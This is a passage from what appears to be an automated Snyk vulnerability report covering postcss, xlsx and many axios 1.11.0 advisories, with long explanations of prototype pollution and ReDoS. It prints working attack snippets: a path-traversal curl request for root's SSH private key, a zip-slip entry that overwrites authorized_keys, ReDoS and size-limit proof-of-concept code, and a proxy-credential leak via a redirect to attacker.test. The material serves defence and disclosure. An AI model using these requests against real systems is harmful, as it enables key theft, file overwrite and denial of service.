- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. It is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route. If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user. `` curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa` Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip. One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file: 2018-04-15 22:04:29 19 19 good.txt 2018-04-15 22:04:42 20 20 .././.././.././root/.ssh/authorized_keys Remediation Upgrade postcss` to version 8.5.18 or higher. References - GitHub Advisory - GitHub Commit - GitHub Release

Regular Expression Denial of Service (ReDoS) (snyk) - xlsx@0.18.5:-

Overview xlsx is a Parser and writer for various spreadsheet formats. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple functions, allowing an attacker to crash the system by submitting specially crafted input. Note: This vulnerability was fixed in version 0.20.2 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue (<https://github.com/SheetJS/sheetjs/issues/2667>) for full details. PoC ``js //Crafted file node -e 'console.log("<!--".repeat(150387))' > evilFile.xlsx //Snippet code for xlsx const xlsx = require('xlsx'); (() => { console.time() xlsx.readFile('./evilFile.xlsx', {}); console.timeEnd() })(); //Snippet code for @e965/xlsx const @e965/xlsx = require('@e965/xlsx'); (() => { console.time() @e965/xlsx.readFile('./evilFile.xlsx', {}); console.timeEnd() })();` Details Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process. The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down. Let's take the following regular expression as an example: `js regex = /A(B|C+)+D/` This regular expression accomplishes the following:

- A The string must start with the letter 'A'
- (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
- D Finally, we ensure this section of the string ends with a 'D' The expression would match inputs such as ABBB, ABCCCCD, ABCBCCCD and ACCCCCCD. In most cases, it doesn't take very long for a regex engine to find a match: `bash $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC")' 0.04s user 0.01s system 95% cpu 0.052 total`

`$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCX")' 1.79s user 0.02s system 99% cpu 1.812 total` The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated. Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn't match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking. Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's: 1. CCC 2. CC+C 3. C+CC 4. C+C+C. The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the

string doesn't match. From there, the number of steps the engine must use to validate a string just continues to grow. |
String | Number of C's | Number of steps | | -----|-----:| -----:| | ACCCX | 3 | 38 | ACCCCX | 4 | 71 | ACCCCCX | 5
| 136 | ACCCCCCCCCCCCCCCX | 14 | 65,553 By the time the string includes 14 C's, the engine has to take over
65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly
(exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to
excessively consume CPU, resulting in a Denial of Service. Remediation A fix was pushed into the master` branch but
not yet published. References - Fix Commit - Fix Version - GitHub Gist - Vulnerability Advisory

Medium Vulnerabilities

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits. Remediation Upgrade axios to version 0.30.0, 1.12.0 or higher.

References - [GitHub Commit](#)

Unintended Proxy or Intermediary ('Confused Deputy') (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy. Note: This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access. Remediation Upgrade axios to version 0.31.0, 1.15.0 or higher. References - [GitHub Advisory](#) - [GitHub Commit](#) - [GitHub Release](#)

Improper Encoding or Escaping of Output (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling. Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - [GitHub Commit](#) - [GitHub Commit](#) - [Maintainer's Advisory](#)

Server-side Request Forgery (SSRF) (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - [GitHub Commit](#) - [GitHub Commit](#) - [Maintainer's Advisory](#)

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - [GitHub Commit](#) - [GitHub Commit](#) - [Maintainer's Advisory](#)

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References -

Insertion of Sensitive Information Into Sent Data (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

CRLF Injection (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to CRLF Injection through the FormDataPart multipart header construction in the form-data streaming helper. An attacker can inject arbitrary multipart headers by supplying a Blob-like value whose type contains \r or \n, causing the generated Content-Type line to break and append attacker-controlled header fields. This lets a crafted upload alter the multipart body sent by the application, which can corrupt downstream request parsing and expose or tamper with data handled by the receiving server. Remediation Upgrade axios to version 1.15.1 or higher. References - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` When the source object contains a property named proto defined with Object.defineProperty(), the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source). lodash and Hoek are examples of libraries susceptible to recursive merge attacks. Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value) If the attacker can control the value of "path", they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated: | Type | Origin | Short description | |---|---| | Denial of service (DoS) | Client | This is the most likely attack.
 DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
 The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
 For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. | Remote Code Execution | Client | Remote code execution is generally only possible

in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. | **Property Injection** | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
 For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. | **Affected environments** | The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser | **How to prevent** | 1. Freeze the prototype— use Object.freeze (Object.prototype). 2. Require schema validation of JSON input. 3. Avoid using unsafe recursive merge functions. 4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution. 5. As a best practice use Map instead of Object. For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.31.1, 1.15.1 or higher. | **References** - GitHub Commit - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions. Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]
 When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source). Lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value) If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks There are a few methods by which Prototype Pollution can be manipulated: | **Type** | **Origin** | **Short description** | |---|---| | **Denial of service (DoS)** | Client | This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
 The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. | **Remote Code Execution** | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. | **Property Injection** | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
 For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. | **Affected environments** | The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser | **How to prevent** | 1. Freeze the prototype— use Object.freeze (Object.prototype). 2. Require schema validation of JSON input. 3. Avoid using unsafe recursive merge functions. 4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and

preventing pollution. 5. As a best practice use Map instead of Object. For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Regular Expression Denial of Service (ReDoS) (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine. Note: This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper. Workaround This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function. PoC `js function vulnerableRead(name, cookie) { const start = Date.now(); try { cookie.match(new RegExp('(?:^|;)' + name + '=(?:[^\s]\*)')); } catch {} return Date.now() - start; } for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(`\${n}: \${vulnerableRead('(.+)+\$', cookie)}ms); } Details Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process. The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down. Let's take the following regular expression as an example: js regex = /A(B|C+)+D/ This regular expression accomplishes the following: - A The string must start with the letter 'A' - (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section. - D Finally, we ensure this section of the string ends with a 'D' The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCCD In most cases, it doesn't take very long for a regex engine to find a match: bash \$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC")' 0.04s user 0.01s system 95% cpu 0.052 total \$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCX")' 1.79s user 0.02s system 99% cpu 1.812 total The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated. Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn't match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking. Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's: 1. CCC 2. CC+C 3. C+CC 4. C+C+C. The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match. From there, the number of steps the engine must use to validate a string just continues to grow. | String | Number of C's | Number of steps | | -----|-----| :-----| | ACCCX | 3 | 38 | ACCCCX | 4 | 71 | ACCCCCX | 5 | 136 | ACCCCCCCCCCCCCCX | 14 | 65,553 By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service. Remediation Upgrade axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Release - GitHub Release

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the fetch adapter when finite size limits are configured but not enforced. An attacker can exhaust server resources by sending or receiving oversized request or

response bodies, such as through large data: URLs or attacker-controlled uploads, bypassing the intended boundaries. Note: This is only exploitable if the application explicitly configures finite `maxLength` or `maxLength` limits and relies on the fetch adapter to enforce them. Workaround This vulnerability can be mitigated by using the Node.js http adapter for server-side requests, validating or capping attacker-controlled request bodies before passing them to the library, and strictly allowlisting or rejecting attacker-controlled URL schemes, especially data: URLs, before making requests. PoC ``js import http from 'node:http'; import axios from 'axios'; const server = http.createServer((req, res) => { let received = 0; req.on('data', chunk => { received += chunk.length; }); req.on('end', () => { res.end(JSON.stringify({ received })); }); }); await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/; await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxLength: 1024 }); // Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERRBADREQUEST. server.close();` Remediation Upgrade axios` to version 1.16.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release

Insertion of Sensitive Information Into Sent Data (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the `setProxy` function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin. Note: This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling. Workaround This vulnerability can be mitigated by setting `maxRedirects: 0` and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential. PoC ``js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY; // The local HTTP proxy receives this request and returns: // HTTP/1.1 302 Found // Location: https://attacker.test/final await axios.get('http://attacker.test/start');` Remediation Upgrade axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Release - GitHub Release

Allocation of Resources Without Limits or Throttling (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `buildPath()` function of `lib/helpers/formDataToJson.js`, which recurses over bracket-delimited FormData key segments without a depth limit. An attacker can crash the Node.js process by supplying a FormData field name with tens of thousands of nested bracket segments, such as `a[x][x][x]...`, which exhausts the JavaScript call stack with a `RangeError`. Exploitation requires the application to pass attacker-controlled FormData into `formDataToJson`, either by calling `axios.formDataToJson()` on it or by sending it through axios with a JSON content type. Remediation Upgrade axios to version 0.33.0, 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Uncontrolled Recursion (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion in the `buildPath()` function of `lib/helpers/formDataToJson.js`, which recurses once per FormData key path segment without enforcing a maximum depth. An attacker can crash the process by supplying a FormData field name with thousands of nested bracket segments, such as `a[x][x][x]...`, which drives `formDataToJson()` into recursion that exhausts the JavaScript call stack with a `RangeError`. Exploitation requires the application to process untrusted FormData through `formDataToJson()` or by sending it with a JSON content type. Remediation Upgrade axios to version 0.33.0, 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the Basic authentication header construction in `lib/adapters/http.js` and `lib/helpers/resolveConfig.js`, which read the username and password from the auth object without own-property checks, so the reads traverse the prototype chain. An attacker who can pollute `Object.prototype.username` or `Object.prototype.password` can inject or override the Basic auth header on axios requests that pass an empty or

partial own auth object, enabling credential exfiltration or outbound request tampering. Exploitation requires a separate prototype pollution primitive already present in the host process and an axios call pattern that supplies an empty or partial auth object, such as `auth: opts.auth || {}`. Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs:

- Unsafe Object recursive merge
- Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model:

```
merge(target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
```

When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object.prototype`. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({}, source)`. `Lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of “path”, they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated:

- | Type | Origin | Short description |
- | Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.
- | Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.
- | Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.

Affected environments The following environments are susceptible to a Prototype Pollution attack:

- Application server
- Web server
- Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze (Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use `Map` instead of `Object`.

For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018 Remediation Upgrade axios` to version 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub PR - GitHub Release

Uncontrolled Recursion (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion in the `defaultVisitor` function of `lib/helpers/toFormData.js`, which calls `JSON.stringify()` on a value when its top-level key ends in `}`, before the `maxDepth` guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in `}` and thousands of levels of nesting, which native `JSON.stringify()` recurses through until the call stack overflows with a `RangeError`. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in `}` and nesting beyond roughly 2500 to 3000 levels. Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039. Remediation Upgrade axios to version 0.33.0, 1.18.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub PR - GitHub PR - GitHub Release - GitHub Release

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the `getMergedValue()` function of `lib/core/mergeConfig.js`, which clones nested option objects such as `auth` and `paramsSerializer` into plain `{}` containers that inherit from `Object.prototype`, so downstream reads in `lib/helpers/resolveConfig.js`, `lib/adapters/http.js`, and `lib/helpers/buildURL.js` pick up polluted values without own-property checks. An attacker who can pollute `Object.prototype` can inject an `Authorization: Basic` header or fully override query-string serialization through `paramsSerializer.serialize`, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like `auth: {}` or `paramsSerializer: {}`. Exploitation requires a separate component to have already polluted `Object.prototype` and the application to pass empty or partial nested option objects. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all `Object` attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: ``merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` <br> When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`. `lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of “path”, they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks

